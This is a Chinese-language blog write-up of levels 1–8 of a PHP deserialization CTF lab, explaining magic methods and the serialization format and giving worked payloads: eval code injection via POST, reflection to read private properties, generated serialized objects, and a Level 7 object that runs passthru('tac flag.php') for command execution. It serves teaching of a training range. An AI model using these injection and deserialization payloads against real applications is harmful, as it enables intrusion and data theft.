PHP反序列化学习(基于phpserialize-labs靶场)

这篇文章是基于探姬制作的靶场来进行学习
要下载的话直接去github上下载就可以了
https://github.com/ProbiusOfficial/PHPSerialize-labs
直接用小皮就可以搭建了,具体搭建就是放在根目录就行了
这里不多阐述,顺便提一嘴,如果是想用docker搭建的师傅们,这里会有一个不兼容,具体的我也忘记了
建议方便的就是直接使用小皮
这里先把魔术函数放下来

魔术方法

魔术方法 触发时机
__construct() 类的构造函数,在类实例化对象时自动调用构造函数
__destruct() 类的析构函数,在对象销毁之前自动调用析构函数
__sleep() 在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup() 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。
__set($property, $value) 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。
__get($property) 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。
__isset($property) 当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
__unset($property) 当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
__call($method, $arguments) 调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数
__callStatic($method, $arguments) 当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。
__toString() 当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法
__invoke() 当将一个对象作为函数进行调用时自动调用。
__clone() 当使用 clone 关键字复制一个对象时自动调用。
__set_state($array) 在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。

序列化后的字符串

O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}

O:表示序列化的对象,这里序列化的是类就是O,如果是数组就是A
6:表示类名的长度
sunse:表示类名
3:表示类里面有三个属性
s:表示字符串 O 是对象 A是数组 i是整数
s:4:flag表示属性名及其长度其后面跟着的就是属性值

public(公有)修饰符:正常格式是直接用变量名

protected(受保护)修饰符:%00*%00变量名

private(私有)修饰符:%00类名%00变量名

Leverl 1

image
这里先对代码进行一波解读
首先是定义一个类 FLAG
这个先去看看什么叫做类
在 PHP 中,类(Class)是面向对象编程(OOP)的核心概念,它像一个蓝图或模板,用于创建具有相同属性和行为的对象。类定义了数据的结构和操作数据的方法,是封装代码的基础单元。

这里简单看来就是把同样之后需要用到的行为封装在一个容器里面,class就是这个容器,之后需要使用的时候直接调动这个容器
然后public是一个修饰符,是公共,表面这个属性在类的内部或者外部都可以访问

定义了一个变量$flag_string存储flag
构建的这个函数表明,在进行实例化的时候会自己输出flag
因为这个函数是一个魔术方法
在类实例化的时候会自动调用__construct()函数
也就会自己输出flag
至于那个$this->flag_string
$this是一个特殊变量,可以访问对象的属性
这里的思路就很清晰了
我们需要去调用到__construct函数
所以我们需要进行类的实例化
new xxx();
来进行类的实例化
new 是一个创建对象实例的关键字,它触发类的实例化过程
直接传参
image

Level2

image
一样的先分析代码
error_reporting(0);
关闭报错
$flag_string = "HelloCTF{????}";
定义一个变量flag_string并且赋值为HelloCTF{????}

点击查看代码
class FLAG{
        public $free_flag = "???";
        function get_free_flag(){
            echo $this->free_flag;
        }
    }

这里就是定义一个clss类
然后声明$free_flag的属性是公共

定义了一个方法get_free_flag()
输出flag
$target = new FLAG();
定义变量target并且new FLAG()进行实例化
$code = $_POST['code'];
获取code的post的值

点击查看代码
if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
    highlight_file('source');
}
如果code不是空就使用eval()运行 `$target->get_free_flag();` $target是一个对象变量,包含指向某个对象的引用 ->用于访问对象的属性和方法 get_free_flag这是定义的对象所属类中的一个方法 ();表示要执行这个方法 这里执行的就是输出flag这个方法

方法一(直接输出)

因为flag_string是直接定义在类外的
可以直接输出

image

方法二(变量传递)

可以利用题目所说的变量传递

code=$target->free_flag=$flag_string;

这里来详细解释一下这个payload
首先$target是一个对象变量,这里是指向他的属性free_flag

然后后面就是将$flag_string赋值给了free_flag
之所以可以直接赋值,因为其是public公有所以可以直接赋值
之后会调用方法输出

image

方法三(暴力输出所有变量)

这个方法是在看妥师傅wp的时候发现的
既然这个flag是储存在变量里的
那我们可以直接输出所有的变量
code=var_dump(get_defined_vars());

解释一下函数
get_defined_vars()

这个是一个php的内置函数,他会返回一个包含当前作用域内所有已定义变量的关联数组。数组的键是变量名,值是变量的内容。
var_dump()

用于输出变量的详细信息,包括类型和值。对数组会递归输出每个元素。
综合来说,这一个payload会输出所以已经定义过的变量,不管你是局部变量还是全局变量
只要是定义过的都会输出
看一下

image

Level3

image
依然先分析代码

image

这里显示定义一个类FLAG
公共属性变量public_flag里面是flag
这里又有两个属性声明
解释一下
protected(受保护)是只能在类和继承这个属性子类里可以访问
private(私有的)这个只有这个类里可以访问
这里给一个表格方便比较

修饰符 类内部 子类 外部
private
protected
public

受保护的属性protected_flag
私有的属性private_flag
然后定义一个方法get_protected_flag()

获取变量$protected_flag的属性

然后定义一个方法get_private_flag()

获取变量$private_flag的属性
再看下一段

image

定义一个类这里有个新东西
extends这个是子类继承父类属性
所以这里就是定义一个类SubFLAG继承FLAG的属性
这里定义一个方法show_protected_flag()
返回protected_flag的属性
然后再定义一个方法show_private_flag()
返回private_flag的属性
再看下一段

image

这里是定义两个变量
target 和 sub_target
里面的内容是分别对两个对象进行实例化

image

POST获取code的值
下面如果code的值不是空
eval运行
如果是空的
输出四句话
就是我们进入界面的四句话
image
这里已经还是比较明显的就是剩下的那几个flag在protected_flag和private_flag这两个变量里面
那就可以用上面的方法

方法一(暴力输出所有变量)

code=var_dump(get_defined_vars());
image

这里自己拼接一下
HelloCTF{se3_me_4nd_g3t_mmmme}

方法二(调用方法)

eval(code=$target->get_protected_flag();)

是个啥玩意儿
这里要加个echo来输出

code=echo $target->get_protected_flag();

image

这里就一起输出

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

image

Level4

image

依然先分析代码

image

这里是定义了FLAG3的类
里面有个私有变量flag3_object_array里面是一个数组

image

定义一个FLAG类,又是三个私有变量
然后定义了一个__construct()方法
指向flag3_object进行一个实例化FLAG3

image

$flag_is_here实例化FLAG这个类
然后post获取code的post值
看code是不是空,不是就使用eval执行

方法一(暴力输出所有变量)

code=var_dump(get_defined_vars());

image

自己拼接一下看看

image

ser4l1ze me好像就只有这个

方法二(序列化)

这里先来介绍一手
序列化,可以将其内容进行序列化
这里呢会将对象的所有属性进行序列化,然后变成字符串
这样就可以打印出来了
这里就需要对$flag_is_here进行序列化然后输出
这里来解释一下为什么
因为他创建了一个FLAG对象
然后因为在进行实例化的时候会自动调用魔法方法__construct()
然后又会进行实例化FLAG3这个类
等于所有的私有属性都可以输出出来
这里直接输出看一下

code=echo serialize($flag_is_here);

这里就可以看见序列化后的内容了

image

这里自己拼接一下就知道了
ser4l1ze me

方法三(使用ReflectionClass)

来自妥师傅的高端操作
这里我们就先来了解一下什么叫ReflectionClass
首先这个是在php5之后才有的一个内置类
他是一个反射类
我们可以用来

  1. 分析类结构
    获取类名、命名空间、文件路径、接口、父类、修饰符(是否抽象/最终)、注释等。
  2. 访问成员
    检索类的方法、属性、常量等信息(返回 ReflectionMethod、ReflectionProperty 等对象)。
  3. 实例化对象
    动态创建类的实例(支持绕过构造函数)。
  4. 操作访问控制
    绕过 private/protected 成员的访问限制。
    这个用法太多了,这里就介绍一个ctf中可能用的多的
点击查看代码
$reflection = new ReflectionClass('$obj');
$property = $reflection->getProperty('example');
$property->setAccessible(true);
echo $property->getValue($obj);

getProperty()是获取所有属性,可以在里面加过滤选择需要获取特定的
getMethods()是获取所有方法,也是一样的可以在里面加过滤
getValue()是读取值

这里就可以直接构造payload

code= $re=new ReflectionClass($flag_is_here); $pro=$re->getProperty('flag1_string');$pro->setAccessible(true);echo $pro->getValue($flag_is_here);

image

再读取另外一个
这里因为要读取的是一个数组,不能直接使用echo来输出
所以我们可以打印

code=$re1=new ReflectionClass($flag_is_here);$pro1=$re1->getProperty('flag3_object');$pro1->setAccessible(true);$flag3=$pro1->getValue($flag_is_here);$re2=new ReflectionClass($flag3);$pro2=$re2->getProperty('flag3_object_array');$pro2->setAccessible(true);$value=$pro2->getValue($flag3);print_r($value);

image

Level5

image

image

依然先分析一下代码
image

定义一个类a_class
这里是一个公有变量

image

这里定义了六个变量
第一个是实例化这个类
第二个是定义了一个关联数组
第三个是赋值给a_string为HelloCTF
第四个赋值为678470
第五个赋值为true
第六个赋值为null

image

这里又是定义六个变量
反序列化这些变量
然后是一个条件函数
第一个为真
如果第二个是null
第三个为IWANT
第四个是1
第五个是your_object对象的属性a_value的值是FLAG
第六个就是俩键对应的值
然后输出flag

所以现在看来之前的是给我们一个示例
这里就是我们只需要把对应的值进行序列化再传参就可以了
写php代码来构造exp

点击查看代码
<?php

class a_class{
    public $a_value = "HelloCTF";
}

$your_object = new a_class();
$your_boolean = true;
$your_NULL = null;
$your_string = "IWANT";
$your_number = 1;
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");

$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);

echo $exp;

运行一下

image

传参传进去

image

Level6

image

依然先分析一下代码

image

定义一个类protectedKEY
有个受保护的变量
还定义了一个方法get_key()来获取$protected_key的值

image

这里也是定义一个类
有一个私有变量
定义一个方法来获取这私有变量的值

image

这里反序列化这俩变量的post值
然后又是一个条件语句
如果符合他的要求就会输出flag
这里直接去构造代码咯哎输出exp
这里要注意到他是受保护和私有
实例化后会存在不可见字符,详情课件文章开头那里
所以我们需要把他进行url的编码
这里构造代码

点击查看代码
<?php
class protectedKEY
{
    protected $protected_key = "protected_key";
}
class privateKEY
{
    private $private_key = "private_key";
}

$exp = 'protected_key='.urlencode(serialize(new protectedKEY())).'&private_key='.urlencode(serialize(new privateKEY()));

echo $exp;

输出一下

protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

直接传参

image

Level7

image

老套路,先分析代码

image

这里是先定义一个类FLAG
有个公有变量
然后定义了一个方法后门函数,会eval执行变量

image

这里先定义了三个变量
第一个赋值一段序列化的字符串
四二个实例化FLAG
第三个反序列化第一个变量的值
然后后两个变量再调用backdoor()方法

image

这里就是反序列化传入的o然后调用backdoor()方法
这里我们可以通过更改序列化的内容来做到参数的更改
因为反序列化是根据序列化来的字符串来进行的
这里构造代码

点击查看代码
<?php
class FLAG{
    public $flag_command = "passthru('tac flag.php');";
}
$exp = "o=".serialize(new FLAG());
echo $exp;

生成一下

o=O:4:"FLAG":1:{s:12:"flag_command";s:25:"passthru('tac flag.php');";}

这里官方的wp上是进行了url编码,但是进行编码后我们发送的时候tac+flag.php识别不出来可能是发送后中间空格识别不了
这里没有什么私有或受保护的属性,还是不要进行url编码了直接hackbar发送

这里要提一下,如果说是在windows上搭建的这题目前是不知道要怎么做
这里可以使用linux的服务器来搭建
这里还要进行配置的修改
修改php.ini不然一般来说php的配置是默认禁止system和passthru等等这些函数的
这里还要注意,应该是ngnix的缘故,apache好像也不行
就是在更改php配置之后任然属于被禁用的状态
这里就需要直接使用php的内置服务器来启动
php自5.4版本之后就可以直接启用内置服务器
这里简单教学一下
先进入项目目录

cd '网站根目录'

php -S ip(也可以是域名):port

然后就可以启动了
以上操作都是在终端进行
你再访问就可以了
然后直接传参

image

Level8

点击查看代码
 <?php

/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 --- 

HINT:注意顺序和次数

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
    public $class_name;
    public function __construct($class_name)
    {
        $this->class_name = $class_name;
        global $construct_flag;
        $construct_flag++;
        echo "Constructor called " . $construct_flag . "<br>";
    }
    public function __destruct()
    {
        global $destruct_flag;
        $destruct_flag++;
        echo "Destructor called " . $destruct_flag . "<br>";
    }
}

/*Object created*/
$demo = new FLAG('demo'); 

/*Object serialized*/
$s = serialize($demo);

/*Object unserialized*/
$n = unserialize($s); 

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/

/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2

This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3

Now Your Turn!, Try to get the flag!
<?php

class RELFLAG {

    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
        echo "Constructor called " . $flag . "<br>";
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
        echo "Destructor called " . $flag . "<br>";
    }
}

function check(){
    global $flag;
    if($flag > 5){
        echo "HelloCTF{???}";
    }else{
        echo "Check Detected flag is ". $flag;
    }
}

if (isset($_POST['code'])) {
    eval($_POST['code']);
    check();
} 

依然先解析一下代码

image

这里就是两个全局变量
然后给这俩赋值为0

image

这里是定义了一个类FLAG
里面有已给公有变量$class_name
定义了一个方法__construct
将参数 $class_name 的值赋给当前对象的 class_name 属性
然后又是一个全局变量
然后是将construct_flag累计加一
输出一串东西
又定义了一个方法__destruct()
定义一个全局变量
又是累加
然后输出

image

这里就是一个GC的演示
首先进行实例化后面那个demo是传给构造函数的参数
然后是序列化demo然后又是反序列化s
然后unset()是一个结构不是函数
用来删除变量及其值
这里就是删除n和demo

image

先定义了一个类

posted @ 2025-06-12 22:52  crook666  阅读(590)  评论(0)    收藏  举报